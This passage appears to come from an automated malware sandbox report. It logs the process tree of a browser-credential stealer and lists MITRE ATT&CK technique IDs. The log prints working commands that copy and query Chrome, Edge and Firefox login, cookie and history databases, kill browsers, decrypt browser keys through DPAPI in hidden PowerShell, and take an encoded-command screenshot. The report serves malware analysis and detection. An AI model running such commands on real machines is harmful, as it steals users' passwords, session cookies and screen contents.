        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5704.tmp" "c:\Users\Admin\AppData\Local\Temp\wexynfdw\CSC9A24A192625D4400AAE8985FF02A995E.TMP"
        5⤵
        
        PID:5352
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\History_1779280946863_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280946863.sql"
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280946910_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280946910.sql"
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280946910_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280946941.sql"
  2⤵
  - Executes dropped EXE
  PID:232
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280946910_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280946957.sql"
  2⤵
  - Executes dropped EXE
  PID:5500
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280946910_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280946988.sql"
  2⤵
  - Executes dropped EXE
  PID:3388
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280947004_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947004.sql"
  2⤵
  - Executes dropped EXE
  PID:5760
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280947004_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947035.sql"
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280947004_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947051.sql"
  2⤵
  - Executes dropped EXE
  PID:1988
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280947004_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947082.sql"
  2⤵
  - Executes dropped EXE
  PID:708
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280947004_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947113.sql"
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280947004_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947144.sql"
  2⤵
  - Executes dropped EXE
  PID:3308
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280947004_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947175.sql"
  2⤵
  - Executes dropped EXE
  PID:4180
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947207.sql"
  2⤵
  - Executes dropped EXE
  PID:5504
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947238.sql"
  2⤵
  - Executes dropped EXE
  PID:5464
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947269.sql"
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947300.sql"
  2⤵
  - Executes dropped EXE
  PID:4132
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947332.sql"
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947363.sql"
  2⤵
  - Executes dropped EXE
  PID:5112
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947394.sql"
  2⤵
  - Executes dropped EXE
  PID:3024
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280947425_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280947425.sql"
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1779280947754_hnq7ui.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1779280947754_hnq7ui.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u5xf0ymu\u5xf0ymu.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5952
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5CE0.tmp" "c:\Users\Admin\AppData\Local\Temp\u5xf0ymu\CSCEA4549AC75F648C684B4F1C4781F3249.TMP"
        5⤵
        
        PID:436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280948176_uuiexl.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280948176_uuiexl.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5224
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\History_1779280948535_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948535.sql"
  2⤵
  - Executes dropped EXE
  PID:3960
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280948550_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948566.sql"
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280948550_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948582.sql"
  2⤵
  - Executes dropped EXE
  PID:5264
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280948550_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948613.sql"
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280948550_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948629.sql"
  2⤵
  - Executes dropped EXE
  PID:3728
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280948660_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948660.sql"
  2⤵
  - Executes dropped EXE
  PID:4296
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280948660_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948675.sql"
  2⤵
  - Executes dropped EXE
  PID:5816
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280948660_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948707.sql"
  2⤵
  - Executes dropped EXE
  PID:3720
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280948660_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948738.sql"
  2⤵
  - Executes dropped EXE
  PID:4912
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280948660_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948754.sql"
  2⤵
  - Executes dropped EXE
  PID:4168
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280948660_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948785.sql"
  2⤵
  - Executes dropped EXE
  PID:6032
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280948660_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948801.sql"
  2⤵
  - Executes dropped EXE
  PID:236
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948832.sql"
  2⤵
  - Executes dropped EXE
  PID:5860
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948847.sql"
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948879.sql"
  2⤵
  - Executes dropped EXE
  PID:3624
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948894.sql"
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280948925_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280948925.sql"
  2⤵
  - Executes dropped EXE
  PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:4692
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:5648
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:5624
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5332
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1779280949332_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280949332.sql"
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1779280949347_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280949347.sql"
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1779280949379_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280949379.sql"
  2⤵
  - Executes dropped EXE
  PID:4620
- C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_1z4.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1779280949394_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_2560_1779280949394.sql"
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:2324
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:5020
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
  2⤵
  PID:4128
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:5268
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:3836
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM QQBrowser.exe"
  2⤵
  PID:4540
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM QQBrowser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:3256
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:4724
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:2996
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:2928
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:5264
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA+uMHthRrjEuKC44wy46RTBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAApz2t54o5Knr2113CHX9h/DaDu/OV9wH9mAwJNeO6cKIAAAAADoAAAAACAAAgAAAAyd+vN1yIF/Y03ENgbzwuehCcF+WqT/9wXn7/Jy0mtyYwAAAACSntMfc3QobuZloFL6kT6UGzBcsg+oilFxAoujqUrEJTVFiMowQXY4tshS7LJqm8QAAAANMa1qb7KTSnsjVxthxV5o68t9jJ38gNWN5L4mxum57MHYlA1oxfTsiW48g6c3x2fslsRRgbUNV2AsBzh3IK208='),$null,'CurrentUser'))""
  2⤵
  PID:4704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA+uMHthRrjEuKC44wy46RTBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAApz2t54o5Knr2113CHX9h/DaDu/OV9wH9mAwJNeO6cKIAAAAADoAAAAACAAAgAAAAyd+vN1yIF/Y03ENgbzwuehCcF+WqT/9wXn7/Jy0mtyYwAAAACSntMfc3QobuZloFL6kT6UGzBcsg+oilFxAoujqUrEJTVFiMowQXY4tshS7LJqm8QAAAANMa1qb7KTSnsjVxthxV5o68t9jJ38gNWN5L4mxum57MHYlA1oxfTsiW48g6c3x2fslsRRgbUNV2AsBzh3IK208='),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA+uMHthRrjEuKC44wy46RTBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAHLwnGBL5tN4NZBpXncbwEuKFONMfjeiALKHC6FU5X3aAAAAAA6AAAAAAgAAIAAAAFt4JLYMxSs1ZB3NrSKT5bVNnb3NI283dsdwEJ5r81e1MAAAAJ2HUnpHQuLmIqG2PWLtfJk9Xxb6AetUGXofq/py8MbWnhu27UGSISuSzMyZBX1E8kAAAAA5LdtODMI1agtsEe9sU+t3wK6bmUJIR2LtLuL0XkTeiwhBSqpYYY0BFBKv9c5komZixCEMdtPlSeOI47DLZMnV'),$null,'CurrentUser'))""
  2⤵
  PID:6032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA+uMHthRrjEuKC44wy46RTBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAHLwnGBL5tN4NZBpXncbwEuKFONMfjeiALKHC6FU5X3aAAAAAA6AAAAAAgAAIAAAAFt4JLYMxSs1ZB3NrSKT5bVNnb3NI283dsdwEJ5r81e1MAAAAJ2HUnpHQuLmIqG2PWLtfJk9Xxb6AetUGXofq/py8MbWnhu27UGSISuSzMyZBX1E8kAAAAA5LdtODMI1agtsEe9sU+t3wK6bmUJIR2LtLuL0XkTeiwhBSqpYYY0BFBKv9c5komZixCEMdtPlSeOI47DLZMnV'),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand WwB2AG8AaQBkAF0AWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACcAKQAKAFsAdgBvAGkAZABdAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAnACkACgAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAApAAoAJABnAD0AWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkACgAkAGcALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAkAGIALgBMAG8AYwBhAHQAaQBvAG4ALABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAkAGIALgBTAGkAegBlACkACgAkAGIAbQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABkAGEAdABhAC0AeQBMAEwAUgBqAFIAXABcAEMAYQBwAHQAdQByAGUALgBwAG4AZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAkAGcALgBEAGkAcwBwAG8AcwBlACgAKQA7ACQAYgBtAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

